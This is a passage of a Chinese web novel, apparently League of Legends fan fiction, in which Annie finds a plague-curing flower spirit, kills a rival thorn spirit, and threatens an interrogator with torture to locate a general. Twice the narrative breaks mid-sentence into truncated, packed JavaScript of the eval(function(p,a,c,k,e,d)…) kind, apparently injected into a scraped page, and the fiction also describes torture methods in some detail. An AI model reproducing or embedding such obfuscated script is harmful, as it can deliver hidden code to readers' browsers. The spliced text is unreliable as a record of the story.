在自己看不见的角落,也许还有人遭受着病毒的折磨,生不如死。 这就是世界的黑暗吗?辛诺,我真的快受不了了…… 安妮还没有走完,就被一个小兵拦住。 她松了口气,停止这自虐般的散步。 是埃克斯找。 回到营帐,三个人都愁容满面。安妮想安慰一下,但实在笑不起来。 “有什么能帮忙的吗?” 她第一次觉得,拥有这么多神器的自己无能为力。 “按道理来说,瘟疫不该被研究出来,至少不该是现在,但既然出现了,那也没办法。瘟疫之源自己肯定是不会知道解药的,但或许有个地方能有。” 莫斯卡叹了口气,毕竟瘟疫之源算自己的半个同事,她实在接受不了。 感觉自己的黑暗在他面前,不值一提。 “瘟疫之源应该是用动物尸体创造的病毒,而这种病毒一般都会有植物克星,就在尸体的附近。” “所以,我们想拜托你,去找一下解除瘟疫的方法。如果没猜错的话,这种植物已经形成半妖甚至完全体,很好寻找。” “半妖甚至完全体?这么快?” 安妮有些不解。 “黑暗与光明的力量是制衡的,瘟疫之源制作了黑暗诅咒,当然也会有光明产生形成对抗。就像我的存在召唤了弗斯,而如今我退位,弗斯也注定退位一样。只是我心甘情愿成为你的助力,弗斯却夺舍了加丁,想以此延续辉煌。” 伊娃解释。 “够了,我知道了。” 对于加丁就是弗斯这个问题,安妮不想和伊娃争论,她不会相信的。 “我答应你们,三天之内,我会给你们答复的。” “那真是太好了!根据消息,我们的人在河流的主干上游闻到了不寻常的味道,再想靠近就被荆棘挡住了,或许那里就是答案。” “好。” 安妮跟着一个勘察小兵离开,朝着埃克斯所说的地方走去。 一路上,她都刻意忽视伊娃的存在,只询问小兵细节。 这条河流里的水就是他们部队的主要水源,营帐内瘟疫大面积蔓延,可见分支都遭了殃,因此他们才会怀疑到主干上面。 由此也可见战争之器的手段,残忍狠辣、一击毙命。 而他们确实也查探到了主干的不一般,然而过去印象中一直和平的主干却长满了荆棘,根本无法靠近。 因此,埃克斯和胡蛮才想到了安妮。 安妮的寒焰无疑是最好的工具,此行没有人比她合适。 走到埃克斯所说的主干以后,小兵就告别离开了,之后只要沿着河流一直往上走,就可以到达埃克斯所说的地方。 15. 15 安妮沿着河流的主干快速奔跑,很快就看到了埃克斯所说的挡路的荆棘。 她原本以为埃克斯说的只是借口,一个让她来寻找解药的借口,没想到这些拦路的荆棘真的很高,也很密集,根本无法通过。 至少只会抡斧子的埃克斯是不行的。 寻常的火焰恐怕也不行,毕竟这片森林失火,哪怕河流就在旁边也救不回来。 不过,这一切都难不倒安妮就是了。 指尖的寒焰凝聚,随随便便丢在荆棘上,火焰蔓延开来,很快将一片片荆棘化为灰烬。 不,应该是灰都不剩。 这火焰控制得很好,把前路全部焚烧清理了出来,但只是一条长长的甬道,边缘的荆棘没有一点多余的损伤。 安妮走在自己清出的小路上,沿着河流,还有些悠闲的感觉。 她很快就看到了瘟疫之源的杰作,甚至不需要辨别,因为太好确认了。 大片的动物死尸堆积在河流边,一直连接到河水里。鲜血流了一地,已经凝固腐臭,看不出动物们原本的模样,但无神的双眼、松弛的皮肉,无不触动着安妮的神经。 她皱眉,一把火将这些东西焚烧殆尽。 河流里的也没放过,但是即使火焰被水冲刷,也没有熄灭甚至减弱。 做完一切后,安妮环顾四周,却没有看见什么特殊的植物。莫斯卡说附近会生成妖,安妮觉得唯一不正常的也就是这些荆棘了。 毕竟,埃克斯就算想不到河流会被利用,也不可能察觉不到河流上游的情况。而且就算他察觉不到,瘟疫之源来投毒肯定也会到这里。 这些荆棘一定是之后才产生的。 那么……怎么把荆棘的主人逼出来呢? 其实很简单,只要实力压制,就没有困难可言。 安妮直接把寒焰燃于指尖,对着密集的荆棘丛喊道:“不管你是谁,出来!给你三秒钟。” “三……” “二……” 安妮还没说话,荆棘丛动了。 她没有急着攻击,就算荆棘真的打过来了,自己也可以支起熔岩护盾。这些荆棘和伊娃的锁链比起来可以说是云泥之别,估计还没靠近就被融化了。 荆棘的主人也确实没有不自量力。 这些荆棘丛以肉眼可见的速度逐渐退去,安妮面前的荆棘逐渐缠绕在一起,变得粗壮巨大,最后……形成了一个半妖。 红色的长发,身材凹凸有致。 为什么说是半妖? 因为她的五根手指还是荆棘的尖刺模样,耳朵也是类似鱼鳍的尖刺,还有身上的花苞裙,应该是大花瓣制作的,最后,下半身的大长腿也是粗荆棘,上面还有尖刺。 看来,她是荆棘的化身。 果然,女人的声音也带着植物刚化形的粗粝,这是一种听多了就熟悉的感觉。 “你好,我叫荼恩。” “荼恩?” 应该是圣语里荆棘的意思吧,不知道为什么,这些妖怪一出生就会给自己取一个圣语里和身份相对应的名字。 有完全的意识以后才会改名——阿狸姐姐就是后来改的名字。 “你好。” 伸手不打笑脸人,虽然荼恩看起来攻击性很强,但自己烧了她的荆棘,她不仅没生气还打招呼。 安妮觉得还是有必要礼貌点的。 “不知道你来是为了什么?” “我想问一下,你会治疗吗?或者……净化这些病毒。” 安妮看向河流,那里的动物尸体已经被焚烧殆尽,河水清澈,但空气中还弥漫着不祥的气息。 “抱歉,我不会。” “那应该不是你……”这也很正常,毕竟安妮很少见过能治疗什么的荆棘,“那附近还有没有什么妖怪刚刚化形?和你一样都是植物。” “和我一样?嗯……” 荼恩陷入沉默,似乎在回忆。 安妮说完,脑子里伊娃忽然道:“你最好表现得对那株植物敌意大一点,比如骗她说自己是来追杀那株植物的。” “为什么?” 安妮这次没忍住,在脑海里发问。 “按照我说的做,她会给你指路的。” “我不!你又不是妖,难道很了解她吗?” 万一荼恩为了保护那株植物,反而不告诉她呢? “你放心吧,我就是找那株植物帮个小忙而已,不会伤害她的。” 安妮勾唇,在荼恩说话前解释。 她的话可以说和伊娃的嘱咐正好相反,伊娃听出少女的赌气,浅浅一笑:“你如果不信,咱们不如打个赌吧,就赌你不按我说的做,就找不到那株植物如何?” “好啊,如果我赢了,那我和莫斯卡到圣城之前你都闭嘴。” “没问题。” 伊娃答应得十分干脆,但之后就不说话了。 安妮等了片刻,还是追问:“你的要求呢?” “我的要求?” “如果你赢了……” 虽然安妮不相信,但打赌打赌,双方不都应该有赌注吗?她也不是不讲理的人,不会占便宜。 谁知伊娃却似乎摇了头,笑道:“就当陪你玩个小游戏吧,我赢了也无所谓。” “我不会和你玩任何游戏!要是我输了,我就让你和莫斯卡取得联系。” 辛诺的死永远是安妮心中的痛,她绝不会和伊娃和解。她们之间没有游戏,只有不死不休。 之前自己一直冷对莫斯卡,甚至没有让她知道伊娃的存在,若是输了,这个赌注也不算小。 可惜,伊娃并不当回事。 “前辈?” 荼恩的声音忽然响起。 “嗯?抱歉,麻烦你再说一遍。” 她忙着和伊娃打赌去了。 “哦,我说这附近确实有快化形的植物,就在东边,前辈要是想找,我可以用荆棘帮你指路。” “真的吗?那太谢谢了!” 她就说伊娃是骗人的,东边正是向阳的地方,植物化形的可能性也高些。 加上荼恩指路,还怕找不到那株植物? 安妮并不知道正东在哪,但荼恩却很清楚,几乎是答应的一瞬间,荆棘便自动消散,只有一根埋在土里,形成一条长线。安妮跟上,同时不着痕迹地观察着,发现方向确实是对的。 她更加安心,跟着荆棘行走。 临近冬季,但向阳面的光照还不错,周围的植物懒洋洋地享受着阳光,但安妮没看出有什么特别之处。 这酷似散步的经历让怀里的提伯斯探出头来,安妮恍惚间好像行走在无妄森林。 这么悠闲的时光没有持续太久,很快,夜幕降临。安妮干脆席地而坐,熟练地拍拍提伯斯的肩膀。 玩偶熊下一秒变得巨大无比,就像一座小坦克。安妮找了个舒服的姿势靠在上面,斜上方正是漆黑的夜空,她满足地喟叹一声,旁边的荆棘忽然伸来。 递给她一个水灵灵的果子。 青色的灵果散发着香甜的气息,虽然恢复的饱食度不多,但提供的能量应该可以坚持最少七天。这样的灵果森林里有,但是并不好找,安妮只是看了眼,便摇摇头,朝荆棘道:“我吃过了。” 守望麦田别的没有,就是灵果多,并且放在基兰爷爷的特制口袋里,不会腐烂。当初安妮就靠着灵果探险了亚特兰蒂斯、极寒冰原、黑暗领域等等……总而言之,现在的她不缺吃的。 然而面前的荆棘却没有收回去,反而是不远处,荼恩再次出现。 “吃吧,我特意为您找的,希望您不要嫌弃。” “好吧……” 荼恩都现身了,安妮也不好意思,拿起灵果,等她消失,才重新躺回提伯斯的肚子。 看着面前的果子,安妮垂眸,失落感油然而生。 她想起了辛诺。 不知道半神会不会吃饭,他们也吃灵果吗?如果是的话,这个点,辛诺是不是该吃饭了…… 伊娃肯定是知道辛诺的生活的,毕竟她曾经就是审判天使,但安妮不想问。 她咬一口灵果。 “嘎嘣嘎嘣。” 清脆的声音在静谧的森林,一直飘了很远…… 安妮其实不需要睡觉,也不想睡觉,只是晚上看不清周围的环境,就算植物会化形也该休息了,因此安妮一直等到太阳初升才起身。 她伸了个懒腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她纠结片刻,最后还是在脑子里询问:“你确定能找到那株植物?” “当然可以。”伊娃几乎是立刻回答,“不过你需要避开荼恩,最好的方法就是告诉她你放弃了,直接往回走,然后晚上再悄悄回来。我记得你有只小熊?可以让它去西边的区域,那里应该有惊喜。” 安妮没有问为什么,她垂眸,看向面前的荆棘:“我忽然想起来家里有点事,先回去一趟,明天再回来找,你在这里等我可以吗?” “当然可以,前辈” 荼恩的语气带着点喜悦,不知道是因为约定,还是因为安妮的离开。 安妮在荆棘的目送下朝河流下游走去。 她能感知到荼恩的存在,一直远离了她的视线,并且再走了十多分钟,安妮才停下脚步。 “你现在可以先休息一下,等到晚上再行动。放心吧,不会太久的,最多前半夜你就可能找到那株植物。” “你就这么自信?” 安妮心里很纠结,她既希望伊娃能成功,又不想伊娃成功。 “孩子,你对七原罪还不够了解。” “大概吧。” 安妮并不想谈论这个,她对七原罪的了解也不需要深刻。 等待的时间,安妮不可能返回,她便坐在森林里休息。靠在树干边,安妮闭上眼睛,脑子里的法阵灯影般一个个掠过。 她从未放弃寻找解除伊娃寄生的机会,只是很可惜,自己在阵法研究上并没有天赋,因此当初也只简单看了下基兰爷爷那些有关阵法的书。 而要知道更多关于阵法的欣喜,除了守望麦田,就只有光明学院的藏书阁了吧……那里虽然看上去大部分都是些没用的东西,但其实越往上走书籍越稀有,甚至有孤品存在。 加丁的启元录,以及本体“源”到底有何用处,她也还不知道,但当初能压制伊娃,说不定也有办法把她从自己脑子里赶出去。 或许,让莫斯卡占领光明学院,真的很有必要。 16. 16 伊娃并不知道,这么短的时间,安妮依旧没放弃思考。 毕竟,她只是在安妮的识海边缘,虽然能感知到安妮的剧烈情绪,但不可能完全洞察安妮的想法。 夜幕降临,安妮为自己找了一个比较安全静谧的地方,画上防御法阵并且让幽冥寒焰看好周围,便安静下来。她早就能和提伯斯共享感知,只是要把这点发挥到极致,必须心无旁骛、全神贯注。 并且,提伯斯的精神受创,自己的意识也会相对受伤。 但她自信荼恩不可能有这样的能力,那株新化形的植物也不可能有。 在提伯斯的视角里,一切都变得高大阴暗,即使是最普通的杂草也能成为视线的障碍,不过娇小也有娇小的好处,那就是荼恩对他的行踪不可能有所察觉。 原本以为需要在西边找很久,不曾想,安妮一眼就看到了不同。 这是一朵巨大到根本无法忽视的花,绿色的大叶子托举着层层叠叠的粉色花瓣,下方的叶茎足足有手臂粗,叶杆上布满尖刺和小绒毛,看起来美丽又危险。 就像一眼就能发现不对劲的荆棘一样,特别得简直就是鹤立鸡群。 荼恩一定是发现了的,那她真的骗了自己? 为什么? 安妮势必要搞清楚,但她才发现,花朵的周遭埋藏着很多荆棘。 也就是说,荼恩不仅知道这朵花,知道她化了形,还故意驱赶她不让自己看见。 “你看到了什么?找到那朵花了吗?” 伊娃只在安妮的识海边缘,根本看不到安妮和提伯斯的视觉共享。但见安妮这么久没有反应,她还是疑惑问道。 “找到了……”安妮给提伯斯下了命令,随后站起身,“过去吧。” 她不想解释,伊娃恐怕早就猜到了一切。 黑暗中,安妮的火焰所向披靡,根本没有任何阻挡。她沉默地朝着花朵所在的方向走去,到了目的地,却没看见那朵花的痕迹。 不过前方有灵力波动,安妮于是赶了过去。 还没靠近,就听到一个愤怒的声音。 “我就不走!不走!” 娇嫩阳光,应该就是那朵花的声音。 “我可以再给你养分,赶紧走!” 这是荼恩,虽然语气里充满嫌恶和不耐烦,但安妮还是听得出来。 再偷听已经听不出什么了,安妮见双方又要打起来,干脆站出来。 “不用赶她走了。” 说完,她竖起一道火焰屏障,隔绝了荼恩。至于周围的荆棘,则全部被寒焰迅速焚烧,渣都不剩。 看见安妮这堪称毁天灭地的能力,花妖眼中忌惮顿生。 好在,安妮只是朝她温和道:“你好,我叫安妮,光明的意思。” “我……我叫弗莱尔,你好。” 弗莱尔上下打量着安妮,倒没有荼恩那么自来熟。 经过一番打斗,弗莱尔的身上已经凌乱又狼狈,不过头顶的巨大花朵帽子、身上的抹胸花瓣裙子,以及脚腕上缠绕的花茎,都能看出她的本体就是那朵花。 “我找了你很久了,但是一直没找到你,你……不在河边生长吗?” 植物一般都不会迁徙,哪怕化了形也对诞生之地极有感情,看小小妮小小木就知道了。 听到安妮的问话,弗莱尔嗤笑一声:“我倒是想继续在河边生长,有水有阳光,还有日月精华,但是有些人不允许。” 她说完看了眼火焰屏障外。 虽然幽冥寒焰不透明,但安妮知道她说的是谁。 她问出了自己最关心的问题:“荼恩一直在驱赶你吗?” “原来她叫荼恩?”弗莱尔抱臂,“是啊,她不仅一开始把我从最好的生长位置赶走,后面还非要我挪到西边,一直往边缘挪。刚才她又来赶我走,还答应了给养料补偿,不过之前她答应了的还没给,我才不会信。” “什么?” 安妮听着弗莱尔的描述,心如刀绞。 霸道狡诈、言而无信,这还是自己认识的那个荼恩吗? 可是弗莱尔没道理骗自己,而且事实就摆在眼前。 安妮深深叹了口气,想到那些等待救治的人,还是决定先办正事。 “我来找你,其实是求你赐药,或者帮忙也行。河流被下了诅咒,许多人喝了河水生命垂危,必须用你的咒语解除。” 她尽量找了弗莱尔能听懂的解释,毕竟连许多阅历丰富的人都不知道瘟疫是什么,自己更不可能给一朵花解释了。 “放心,只要你能解除诅咒,我可以帮你做一件力所能及的事。” “力所能及的事?” 弗莱尔眼睛顿时一亮。 “那你能帮我杀了荼恩吗?” “什么?” 面前的粉发女妖眼神纯真,稚嫩得像个孩子,问出的话却让安妮傻了眼。她没想到,弗莱尔的要求会这么简单粗暴。 即使自己被荼恩耍得团团转,也从没想过杀了她…… “不行吗?那算了。” 弗莱尔说完,作势要离开。 “等等!”安妮当然不可能让她走,犹豫片刻,最后还是发问,“你为什么要杀了她?” “很难理解吗?资源是有限的,这也是为什么她会把我赶走。要不是现在杀掉我只会两败俱伤,她早就动手了。我如果现在不杀了她,等之后你走了,她还是会抢我的地盘,觊觎我的生命。” 这就是植物的纷争,本就如此单纯。 “就没有办法……” “没有。” 回答安妮的不仅有弗莱尔,还有伊娃。 “其实,从七原罪出发很好解释。只要有灵,迟早都会产生七原罪,而抢夺养分,霸占好的地盘,说简单了是贪婪,说深刻了是懒惰,但总而言之,这都是本性,改不了。甚至,植物因为思想比较简单,更难克制。” 那她就只能杀了荼恩吗? 安妮不想。 不知为何,她忽然想到了扭曲树精。同样是植物,同样死于自己之手,同样有思想……其实,自己早就成为了刽子手。 “动手吧,杀了荼恩,无论你心中有多排斥,这都是如今最好的计策。”就像杀掉辛诺,即使你千般不愿,这也是逆天的必经之路。 只是,上一次需要伊娃略施小计诱导安妮动手,这次只需要劝说她亲自动手。 安妮最后还是答应了弗莱尔的要求,她几乎是在撤下屏障的一瞬间,便将周围的一切荆棘都焚烧殆尽,甚至没有关心荼恩在哪。 但周围确确实实,已经没有荆棘了。 “真好!走吧,去治疗你说的那些人。” 弗莱尔鼓着掌,高兴得像个孩子。 她也确实只是一个刚刚化形的孩子。 安妮最后看了眼背后黑暗的森林:明明植物很多,却感觉空落落的,就像内心…… 安妮带着弗莱尔回到营帐,剩下的事情就不是她需要过问的了。 埃克斯自有一套最高效的救治方案,自己只需要等待结果。 按理说,这个时候自己就该离开了的,毕竟莫斯卡一直只是个旁观者,又不需要参与对士兵的真正管理。但安妮总觉得有什么事情没做,在房间里来回踱步,想回忆出点什么。 “我还以为你很快就能想通呢。” 伊娃看着纠结的安妮,啧啧感叹。 她就像一个高傲的旁观者,在安妮脑子里看着她所做的一切,那么冷漠,又那么理智。 “想通什么?” 安妮实在不想搭理伊娃,但她不得不承认,很多时候都是伊娃指出了事情的解决方法——一针见血。伊娃应该知道她心中缺失的那部分是什么,安妮有这种直觉。 “刺杀沃尔。” 果然,伊娃一说完,安妮立刻感觉心中的巨石落地了。 就是这简简单单的四个字,困扰了安妮几个小时。 明明连沃尔都没见过,安妮却第一次产生主动杀人的想法,实在是外界的瘟疫感染者太可怜,也衬托得沃尔更加可怖、可恨。 自己这一次能够迅速找到弗莱尔解决问题,但是下次呢?下下次呢? 离开以后,约德尔城面对的,就是世界上最阴险的手段。 可它们是那么纯净的存在。 保护,有时候不得不先进行屠杀,在杀死荼恩的时候,安妮已经知道了。 但是沃尔不是植物,他是活生生的人。 安妮从来不觉得,自己有剥夺任何人生命的权力,这大概就是自己为什么没有堕入黑暗。 可是现在,就要打破一切了吗? 即使不想承认,安妮也能发现,和伊娃相处的短短几个月,她黑化的速度快得令人发指…… 甚至在伊娃说出这四个字的时候,都只是稍微惊讶一下,随后立刻接受并且开始思考。 脑子太乱了……安妮扶额,坐在凳子上沉思。 “其实你不用纠结,去找一个人,他应该会有答案。” “谁?” “莫格莱斯。” 那个人……的哥哥? “他是和沃尔接触最多的人,也最了解沃尔。他手下就是无数平民和百姓,因此他的出发点一定也是人民。” “你知道?” “卜拉克跟我说过。事实上,他比你想象中还要爱护他的子民,只是他的身份终究是血统最纯正的皇子罢了。” “你为什么帮我?” 这些建议可以说完完全全从自己的角度出发,不掺杂一点伊娃的私心。 “我说过,我和你永远是统一战线的,无论何时。” “……” 如果没有辛诺横在中间,安妮相信伊娃会成为和自己无话不谈的好友,甚至是新的老师,但可惜,没有如果。 想到那双沾满尘土的翅膀,安妮垂眸,毁灭掉所有心软。 虽然和伊娃不共戴天,但她的建议的确可行。 安妮最后还是跟埃克斯和胡蛮报备,紧接着在他们的提示下,乔装打扮前往皇城。 处于战争中的边城不可能光明正大地进入,她直接借助崔丝塔娜送的急速符文和幽冥神装的极速飞行窜过了城墙。 和群鸟一起,毫不突兀。 根据埃克斯的推测,莫格莱斯应该就在城中心的院落里。作为如今元首级别的存在,他坐镇中间才能眼观六路耳听八方,同时运筹帷幄。 但这样的弊端在于他对兵权的掌控无法做到及时,也因此,沃尔连胜好几场后,莫格莱斯便将大权交给了他,造成如今这种局面。 安妮在夜幕中穿行,躲过几波巡逻的士兵,终于找到了莫格莱斯居住的别院。但她从窗子里将一根羽毛丢进去探路,却没有感知到任何东西。 莫格莱斯不在。 不在卧室,那就只可能在军政大厅。虽然不知道这么晚了他怎么还没睡觉,安妮依旧不厌其烦地潜了进去。 对于如今有着独特身法和神器加持的自己而言,就是在莫格莱斯的府邸散步都没问题。军政大厅虽然位于中心位置,安妮仍旧上了房檐,趴在屋顶听墙角。 “我坚持我的看法,沃尔不能留!” “战争还没有取得胜利,难道就要内讧了吗?不行!” “民心是比输赢更重要的东西,看看现在,百姓提到我们哪个不是闻风丧胆?全都是沃尔干的好事!” “输都输了还讲个P的民心,沃尔的方法只是新颖了点,打仗不创新难道要故步自封吗?” “我去尼玛的!” “愚蠢的土拨鼠!” 事实证明,无论在哪里,什么身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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躲在天花板横梁上的安妮没想到自己会被察觉,她轻巧跃下,直接大方发问:“怎么发现的?” “窗户上绑的头发丝不见了。” 莫格莱斯回头,看见比自己矮半截的安妮,微微惊讶。 “我虽然小,但杀人的手法很利落哦……你不害怕?” 身为皇子,发现卧房有刺客,怎么说都该害怕一下吧? “你悄无声息地潜入这里,并且……很有可能先去了趟军政大厅,这么来去自如,我要死早死了。” 他出门不久,开会前只是习惯性绑了根头发而已。 安妮点点头:之前还疑惑开窗的时候怎么感觉被卡了一下,原来是这个原因。 “说吧,你是谁,找我做什么?” “我……我是缇尔的朋友。” 安妮说完,面前人肉眼可见地卸下了防备。 大概是看见了安妮自我介绍下的悲伤,明白她是真的为缇尔的逝去难受。 但看见莫格莱斯的反应,安妮却苦笑:若是莫格莱斯知道自己是害死缇尔的凶手,不知道还会不会如此卸下心防。 “我叫安妮,是缇尔逃离皇城去找埃克斯的时候,和她认识的。” “我记得你,我们好像见过。” 之前莫格莱斯还想不起来,毕竟只有一面之缘,当时自己还处于极度悲伤之中。但安妮的红发和体型太有特色,就像……年幼的缇尔。 “是的。” 安妮没说自己当时为什么放过了胡蛮,莫格莱斯也没有质问。两人都默契地略过了这个话题,虽然……安妮觉得莫格莱斯肯定是想到了的。 “我想拜托你帮个忙,有关……沃尔。” “他?” 莫格莱斯皱眉,之前暂时抛却脑后的烦恼再次具象化起来。 “我想知道,你对他的看法。” 先搞清楚这点,再决定之后的行为。 “如果缇尔还在的话,一定会叫我把他踹得远远的吧。” 莫格莱斯耸耸肩,选了个较为回避的答案。但从他的语气可以知道,他其实也想把沃尔踹得远远的。 毕竟,即使这个世界朝着“虐”发展是必然,他们也仍旧不希望自己成为帮凶。 至少莫格莱斯是这样的……安妮很欣慰。 “你能告诉我怎么找到沃尔吗?” 她听到了莫格莱斯之前的话,知道他现在已经没有掌握到沃尔的行踪。但身为沃尔曾经的上司,方法总该是有的。 “我已经失去沃尔的具体位置,你应该听到了。至于找他……我想,找到痛苦之拥萨芙问问应该是个不错的选择。” 和莫格莱斯直接接触并且负责传话的一直是痛苦之拥,萨芙。 “那你知道萨芙在哪儿吗?” “不知道,但我可以把她叫来。” “把她……叫来?” 这就是完全的帮助了。如果说刚才的对话还可以解释为他受胁迫下透露的信息,那么把萨芙叫来,甚至帮助抓捕,就完全是和沃尔宣战了。 “我从一开始就知道加丁不安好心,只可惜沉浸在打击中没有重视沃尔。我宁愿光明正大地输掉皇城,也不想站在千万人的尸骨上成王。” 他这一辈子都在为奥诺皇室而战,甚至被奉为“皇室荣耀”,但他始终不曾忘记,自己背后是千千万万的人民。如果没有了他们,所谓的皇室不会存在,又何谈荣耀二字? 看着面前神色坚定的莫格莱斯,安妮耳边似乎响起了缇尔的话。 “我的哥哥,背负了太多东西,但他永远是世界上最纯净的人。” 17. 17 莫格莱斯第二天一大早,便下令让萨芙前来府邸。 萨芙虽然擅长的是审问手段,但黑暗族夜晚战力都相对较高,因此莫格莱斯选择了太阳最大的中午。 其实并不重要,因为以安妮的实力,只要萨芙踏入府邸,就没有逃出去的可能。 几个神器加身的她本就超标,被迫接受了灭世者之帽后,源大陆之上已经无敌,或许全盛时期的加丁都不是她的对手——谁知道呢。 “不知道皇子找我有什么事?” 萨芙一头紫红色的长发,蓬起如同荆棘,手臂和大腿上都装着黑紫色的荆棘铠甲,尖刺凸起、冷光凛凛。最特别的是她幽蓝色的皮肤,仿佛要和黑夜融为一体。 即使是大白天面对众人,她上半身也依旧只着一件内衣,举止大方优雅,丝毫不介意众人的目光。那双绯红的眼眸散发着魅惑迷人的光彩,就好像故意诱人深入。 回答萨芙的是一个黑色笼子。 她地上的影子骤然化为实体,迅速连接在一起,形成一个暗黑牢笼。与此同时,脚下的黑影如同潭水般炸开,从里面伸出几只黑手抓住她的脚踝。 莫格莱斯仿佛没有看见,朝一旁的出口走去。 安妮从房间背后的屏风里走出来。 “伊娃……” 明明来的人和伊娃毫无关系,但萨芙第一时间便说了伊娃的名字。 看来,这个招式确实是伊娃专属。 安妮眨眨眼,坐上莫格莱斯原来的位置。她没有理会萨芙的叫喊,直接问:“沃尔在哪儿?” “她现在都是当缩头乌龟的吗?叫你来审问我?” 萨芙冷笑着,表情明显在说,你不够格。 “你似乎忘了自己现在的处境。”安妮手指微抬,黑暗之力收紧,在萨芙白皙的脚踝上勒出青紫的痕迹。 这次,萨芙清清楚楚地看到了,一切都是安妮的所作所为。 但是她怎么会伊娃的招式? 除非……一脉相承的黑暗。 “再问你一遍,沃尔在哪儿?” 安妮眼神锐利,已经有当初伊娃的气势。但萨芙直视她的眼神,毫不退缩。 “不好意思,不知道。” “也许我该感谢你,毕竟你发明的那些审讯手段,同样也可以用到你的身上。”安妮语气淡然,开始列举,“是把银针戳进你的指甲,还是让你睁着眼睛撞钉床,或者,烧沸腾的糖油混合物……” 她说得一脸轻松,只有伊娃能感受到安妮识海中挥之不去的震惶。 当得知萨芙手段的那刻,她花了几十分钟,才看懂那些可怕的文字。 而此时,即使是萨芙自己,听到安妮的复述,也有些颤栗。 没有人面对这样的手段不会颤栗,可是它就是这样切切实实地存在着,被使用着,代表“虐”的存在。 “你要把它们用在我身上吗?” 萨芙故作轻松,做最后的挣扎。 当初执行这些手段的自己,是被黑暗蒙蔽双眼的状态,而清醒的安妮,真的能做到这些吗? “你可以试试。” 安妮冷笑一声,拍拍手。顿时,殿外走上来一队人。 打头阵的是两个拿着银针的,针有食指那么长,在灯光下闪着寒芒; 紧接着是四个抬着钉床的,钉床顾名思义,就是竖满钉子的铁床,那些钉子如同雨后春笋,密密麻麻,上面还有血渍; 最后是一锅滚烫粘稠的液体,还没靠近,萨芙就感受到了剧烈的高温。 “其实我也很惧怕这些东西,使用了它们,我又和黑暗有什么区别?但是有一种方式看上去一定很温和——搜魂。” 安妮说的,还是萨芙发明的东西。 将一根筷子插入脑浆,翻腾搅弄,一点点、仔仔细细地搜寻意识里的记忆,任由清醒的识海变成一潭死水。从外界看,被搜魂的仿佛只是变成了傻子,流着口水、双目呆滞,谁也不知道他经历了怎样可怕的手段…… “我告诉你!我都告诉你!求你不要这么对我!” 她终于尖叫着跪下来,头发都根根竖起,可见有多害怕。 而安妮见状,放声大笑。 “哈哈哈哈,哈哈哈哈……原来,你也会怕!哈哈哈哈……” 那你当初是怎么想到这些残忍得毫无下限的手段?怎么一点点把它们付诸实践,怎么,让“虐”这个可恶的字,真正降临世界! “哈哈哈哈……” 原来,这才是黑暗。 可恶的黑暗。 安妮擦掉泪水,让人将东西都拿下去。 萨芙已经颤抖着匍匐在地。 不管是安妮的手段,还是安妮的笑声,都让她不敢再生出反抗之心。 “沃尔在哪?” “青绿森林。” 森林? 安妮还以为,沃尔就算躲避莫格莱斯,也会去一些宜居的地方,没想到竟然会是森林。要知道一般的原始森林都环境恶劣,蛇鼠成群。 “带路。” 青绿森林并不是什么著名的地方,艾德文特的地图上甚至没有标注。 “好的。” 萨芙垂眸,敛下眼中的算计。 为了提升速度,安妮没有带任何其他人一起。 因为沃尔所在的青绿森林比较偏远,因此他们也没有穿过任何城镇,直接选择的小路。然而,就在安妮和萨芙一前一后,路过一个小村子的时候,萨芙忽然停住了脚步。 安妮回头,就看见她冲着村子的方向跑去。 捆住她双手的荆条毫无作用,安妮早有预料。不过,就算萨芙能挣脱藤条,安妮也不可能把她放走。 不过一个呼吸间,安妮便来到了萨芙的身边。 但是萨芙手上还捏着一个人。 一个孩子。 在树林边寻找吃的,是村中孩子最常做的事情。尤其是贫困的山村,他们除了野菜蘑菇,还会捡树枝等等。 这个孩子估计也是在寻找食物和柴火,手里破旧的篮子中还有植物。 被萨芙扼住咽喉,他想呼救,但连声音都发不出。他眼眶湿润地看着安妮,大概是感受到了死亡的恐惧。 “放了他。” 这是想用无辜者让自己就范吗? 萨芙微笑,手里的动作不变:“这个孩子只是开胃菜。我的手下有很多控制住心神的傀儡,他们都是活生生的人。你如果想把我强行带走,就先从他们的尸体上踩过去。” 说完,树林边响起窸窸窣窣的声音。 就像在附和萨芙的话,几个年轻力壮的男人双眼无神地走出来,呈盾牌状挡在萨芙身边,把她包围得严严实实。 安妮麻木地看着人越来越多。 萨芙的笑容也越来越得意。 “这些,都是你控制的?” “当然。” “那,要是你死了,他们是不是就清醒了?” “我死了,他们就会殉情。他们都是家庭的顶梁柱,有的父母年迈需要赡养,有的孩子嗷嗷待哺,只是可惜了……” “既然你活着的时候他们和行尸走肉没区别,你死了他们也会死,那我干嘛还要关心他们的生死?杀了不就好了?” 萨芙一噎。 安妮好整以暇地看着她,等她继续狡辩。 萨芙不知道,安妮之所以愿意跟她废话,其实是在脑子里询问伊娃。 安妮当然不觉得萨芙的话是真的,至少不能完全相信。果然,根据伊娃的科普,控制者死亡,被控制者大多数的结局都是恢复自由,而不是死亡。 殉情?前提是他们对控制者有感情。 但是这虚假的感情早在萨芙死亡的那一刻就不复存在了,何谈殉情? 对控制傀儡最得心应手的卜拉克都做不到拉着傀儡一起死亡,更别说萨芙了。 当死亡降临的那一刻,所有都会化为光点。 “既然他们威胁不到你,那就换个谈判条件……你应该也不希望村子就这样被毁掉吧?放我走,我保证不会再伤害任何无辜的人。” “你就不怕我杀了你?” “你不能,杀了我,你就再也找不到沃尔了。” “你所说的青绿森林,也是假的吧?沃尔根本不在那里。” 不管之前装得有多害怕。 “之前的事情暂且不提,我说的,你考虑得怎么样了?”萨芙晃了晃手里的小孩,就好像在提溜一只小鸡仔。 她自信这次能威胁到安妮。 谁知,安妮却无奈摇头:“看来,伊娃说得对,我还是对你太仁慈了。或许,搜魂确实是最快速,也最有效的办法。” “什么?” 